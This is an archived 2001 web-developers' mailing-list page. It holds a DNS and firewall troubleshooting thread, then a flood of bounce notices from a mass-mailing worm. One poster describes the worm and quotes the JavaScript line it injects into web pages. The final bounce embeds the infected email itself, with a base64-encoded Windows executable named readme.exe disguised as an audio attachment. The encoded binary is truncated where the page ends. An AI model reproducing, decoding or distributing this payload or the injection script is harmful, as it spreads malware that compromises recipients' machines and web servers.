ICMP traffic Correct, the server is behind a very restrictive firewall. > In Windows 2000, you can have as many DNS servers as you wish. Simply > click on the "Advanced" button in the IP config dialog, and select the > DNS tab. In my case the "new" button grays-out after I have added two. > One last thing you can check to try and narrow the problem is to always > use the IP number in the address bar of the browser. This takes the DNS > out of the loop (i.e. "http://209.46.83.16/"). This doesn't really make much difference, I still get connection, but timing out sometimes, and very slow. I managed to get the site working for me in IE5.5 by activating "Use proxy server" (and settings this to my ISPs proxy-server) so the main problem is solved. Thanks for all comments. Richard. ----- Original Message ----- From: "Glenn Hunt" To: Sent: Monday, September 17, 2001 10:23 AM Subject: [fwd] Re: [thelist] Site not available? - Update > --------------------------------------------- > This message was held by thelist software and > is being manually forwarded by a list admin. > Please remember to send emails in plain-text > format only, or they will not reach thelist > until it is later forwarded by a list admin. > --------------------------------------------- > > > Richard, > > First, to clear up the confusion, default routes and default gateways > are the same thing. MS (and others) call them gateways, they are routes > in the *NIX world. You can have multiple ones, but it's not recommended. > > Second, I would say you have two big issues. The first is that your DNS > isn't giving you an address. Try using the providers (gofast.net) DNS > servers (209.46.63.1, 209.46.63.6). They should always provide a correct > and quick response because they don't have to contact any other DNS > servers to return a reply. > > Second, I suspect that the ping and traceroute fail because the server > appears to be behind a firewall which is hiding ICMP traffic. Both ping > and traceroute rely on ICMP. Many firewalls block this because it can be > used in denial-of-service attacks. It is also possible the provider > simply doesn't have thing set up properly. > > In Windows 2000, you can have as many DNS servers as you wish. Simply > click on the "Advanced" button in the IP config dialog, and select the > DNS tab. > > One last thing you can check to try and narrow the problem is to always > use the IP number in the address bar of the browser. This takes the DNS > out of the loop (i.e. "http://209.46.83.16/"). > > Let me know if you still have trouble. > > Glenn Hunt > ghunt at hds.ca > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From mcp at msprograms.com Tue Sep 18 10:33:57 2001 From: mcp at msprograms.com (mcp at msprograms.com) Date: Tue Sep 18 10:33:57 2001 Subject: [thelist] MCP Acknowledgement (KMM2414309C0KM) Message-ID: <200109181533.f8IFXsVW011581@leo.evolt.org> This email is to confirm receipt of your email to the following address: MCP at msprograms.com. Please note that as of August 27, 2001, our support alias has changed to MCPHelp at microsoft.com. Your email has been forwarded to this new alias and will be responded to within 48 hours. Please make a note of this change for future reference. Thank you for emailing the Microsoft Certified Professional program. From null at terra.com.br Tue Sep 18 10:34:30 2001 From: null at terra.com.br (Mensagem Automatica do Terra) Date: Tue Sep 18 10:34:30 2001 Subject: [thelist] Returned message - mailbox size exceeded Message-ID: <200109181534.MAA00507@srv17-sao.sao.terra.com.br> Your message with subject [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] was not delivered to the following recipient: [istoe]. This recipient's mailbox is full. Sua mensagem com assunto [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] nao foi entregue ao seguinte destinatario: [istoe]. A caixa-postal deste destinatario esta' cheia. by srv17-sao.sao.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA00486 for ; Tue, 18 Sep 2001 12:34:32 -0300 From: thelist at lists.evolt.org Received: from FTHGTEIXEIR (unknown [64.133.24.16]) by mx7.terra.com.br (Postfix) with SMTP id 950E3AB06A for ; Tue, 18 Sep 2001 12:34:29 -0300 (GMT+3) Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmx.terra.com.br.elefante MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Message-Id: <20010918153429.950E3AB06A at mx7.terra.com.br> Date: Tue, 18 Sep 2001 12:34:29 -0300 (GMT+3) To: undisclosed-recipients:; From MAILER-DAEMON at dti.net Tue Sep 18 10:39:21 2001 From: MAILER-DAEMON at dti.net (Mail Delivery System) Date: Tue Sep 18 10:39:21 2001 Subject: [thelist] Undelivered Mail Returned to Sender Message-ID: <20010918153816.A93E7ADF6@mail-relay1.dti.net> This is the Postfix program at host mail-relay1.dti.net. I'm sorry to have to inform you that the message returned below could not be delivered to one or more destinations. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the message returned below. The Postfix program : host smtp.dti.net[206.252.128.10] said: 550 5.1.1 ... User unknown -------------- next part -------------- An embedded message was scrubbed... From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmail-relay1.dti.net.hints on pronunciation for foreigners Date: Tue, 18 Sep 2001 11:38:15 -0400 (EDT) Size: 49460 URL: From MAILER-DAEMON at dti.net Tue Sep 18 10:39:31 2001 From: MAILER-DAEMON at dti.net (Mail Delivery System) Date: Tue Sep 18 10:39:31 2001 Subject: [thelist] Undelivered Mail Returned to Sender Message-ID: <20010918153815.CAFFEEEB1@mail-relay1.dti.net> This is the Postfix program at host mail-relay1.dti.net. I'm sorry to have to inform you that the message returned below could not be delivered to one or more destinations. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the message returned below. The Postfix program : host smtp.dti.net[206.252.128.10] said: 550 5.1.1 ... User unknown -------------- next part -------------- An embedded message was scrubbed... From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmail-relay1.dti.net.primeiro_email Date: Tue, 18 Sep 2001 11:38:14 -0400 (EDT) Size: 49435 URL: From MAILER-DAEMON at dti.net Tue Sep 18 10:39:47 2001 From: MAILER-DAEMON at dti.net (Mail Delivery System) Date: Tue Sep 18 10:39:47 2001 Subject: [thelist] Undelivered Mail Returned to Sender Message-ID: <20010918153823.E4C4A8319@mail-relay1.dti.net> This is the Postfix program at host mail-relay1.dti.net. I'm sorry to have to inform you that the message returned below could not be delivered to one or more destinations. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the message returned below. The Postfix program : host smtp.dti.net[206.252.128.10] said: 550 5.1.1 ... User unknown -------------- next part -------------- An embedded message was scrubbed... From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmail-relay1.dti.net.chato Date: Tue, 18 Sep 2001 11:38:12 -0400 (EDT) Size: 49425 URL: From newmailsweeper3 at state.gov Tue Sep 18 10:41:30 2001 From: newmailsweeper3 at state.gov (newmailsweeper3 at state.gov) Date: Tue Sep 18 10:41:30 2001 Subject: [thelist] Blocked EXECUTABLE to Department of State Message-ID: <200109181544.LAA14035@mailrelay.state.gov> This is an AUTOMATED MESSAGES....Please do not relay. The Department of State mail system has detected an incoming message entitled: ware\Microsoft\WindoJb4 prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesacheson.state.gov.prasana intended for: visabulletin at state.gov which contains an executable attachment. State policy currently prohibits the introduction of executable files via its e-mail system. Your message has been deleted and the recipient(s) have also been informed of this action. We appreciate your understanding. From null at terra.com.br Tue Sep 18 10:42:22 2001 From: null at terra.com.br (Mensagem Automatica do Terra) Date: Tue Sep 18 10:42:22 2001 Subject: [thelist] Returned message - mailbox size exceeded Message-ID: <200109181542.MAA10678@srv6-poa.poa.terra.com.br> Your message with subject [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] was not delivered to the following recipient: [siteboy]. This recipient's mailbox is full. Sua mensagem com assunto [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] nao foi entregue ao seguinte destinatario: [siteboy]. A caixa-postal deste destinatario esta' cheia. by srv6-poa.poa.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA10667 for ; Tue, 18 Sep 2001 12:42:20 -0300 From: thelist at lists.evolt.org Received: from FTHGTEIXEIR (unknown [64.133.24.16]) by mx8.terra.com.br (Postfix) with SMTP id DC328F48C4 for ; Tue, 18 Sep 2001 12:42:17 -0300 (GMT+3) Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmx.terra.com.br.kris lunch 2 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Message-Id: <20010918154217.DC328F48C4 at mx8.terra.com.br> Date: Tue, 18 Sep 2001 12:42:17 -0300 (GMT+3) To: undisclosed-recipients:; From null at terra.com.br Tue Sep 18 10:42:31 2001 From: null at terra.com.br (Mensagem Automatica do Terra) Date: Tue Sep 18 10:42:31 2001 Subject: [thelist] Returned message - mailbox size exceeded Message-ID: <200109181542.MAA16615@srv8-sao.sao.terra.com.br> Your message with subject [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] was not delivered to the following recipient: [istoe124]. This recipient's mailbox is full. Sua mensagem com assunto [ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guideline] nao foi entregue ao seguinte destinatario: [istoe124]. A caixa-postal deste destinatario esta' cheia. by srv8-sao.sao.terra.com.br (8.9.3/8.9.3) with ESMTP id MAA16580 for ; Tue, 18 Sep 2001 12:42:32 -0300 From: thelist at lists.evolt.org Received: from smartrelay1.terraempresas.com.br (smartrelay1.terraempresas.com.br [200.176.131.5]) by mx7.terra.com.br (Postfix) with ESMTP id 680DEAB166 for ; Tue, 18 Sep 2001 12:42:32 -0300 (GMT+3) Received: from mx1.terraempresas.com.br ([200.177.96.23]) by smartrelay1.terraempresas.com.br (8.11.6/8.11.3) with ESMTP id f8IFgVt32096 for ; Tue, 18 Sep 2001 12:42:32 -0300 Received: from FTHGTEIXEIR ([64.133.24.16]) by mx1.terraempresas.com.br (8.11.6/8.11.3) with SMTP id f8IFgTY10821 for ; Tue, 18 Sep 2001 12:42:29 -0300 Date: Tue, 18 Sep 2001 12:42:29 -0300 Message-Id: <200109181542.f8IFgTY10821 at mx1.terraempresas.com.br> Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinessrv3-sao.sao.terraempresas.com.br.menu MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 To: undisclosed-recipients:; From rthigpen at nc.rr.com Tue Sep 18 10:44:13 2001 From: rthigpen at nc.rr.com (Ron Thigpen) Date: Tue Sep 18 10:44:13 2001 Subject: [thelist] failure notice References: <200109181509.f8IF8vVW009938@leo.evolt.org> Message-ID: <3BA76BCC.4020504@nc.rr.com> this looks like the result of a new worm said to be propogating. early analysis has the worm giving admin permissions to guest account of infected host, replacing Admin.dll with infected code (via ftp?), placing the file readme.eml in the webroot, and adding the following line of script to the home page. language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000") this looks like it may be the first wild exploit of this vulnerability: http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp --rt MAILER-DAEMON at welly-4.star.net.uk wrote: > Hi. This is the qmail-send program at welly-4.star.net.uk. > I'm afraid I wasn't able to deliver your message to the following addresses. > This is a permanent error; I've given up. Sorry it didn't work out. From mailer at tzo.com Tue Sep 18 10:44:30 2001 From: mailer at tzo.com (TZO Mailer) Date: Tue Sep 18 10:44:30 2001 Subject: [thelist] Delivery failure to 128875ce@bknights.knightsofthenet.com Message-ID: <200109181544.f8IFiRVW012664@leo.evolt.org> Delivery was attempted, but failed because: 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) -=-=-=-=-=-=-=-=- Original Message: -=-=-=-=-=-=-=-=- TZForward: 128875ce at bknights.knightsofthenet.com Received: from 64.133.24.16 by saf2.tzo.com id 20010918114505718 for 128875ce at bknights.knightsofthenet.com; Tue, 18 Sep 2001 15:45:05 GMT From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesSAF.tzo.com.elefante MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="readme.exe" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAM/dCAQAAAB/UEUAAEwBBQB1Oqc7 AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAEAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACEgQAAUAAAAADgAACIHgAAAAAAAAAAAAAAAAAAAAAAAAAAAQA4CgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIQBAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAFZlAAAAEAAAAHAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAq CQAAAIAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAKEcAAACQAAAAIAAAAJAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAAAgAAAA4AAAACAAAACwAAAAAAAAAAAAAAAAAABAAABALnJl bG9jAABGCwAAAAABAAAQAAAA0AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 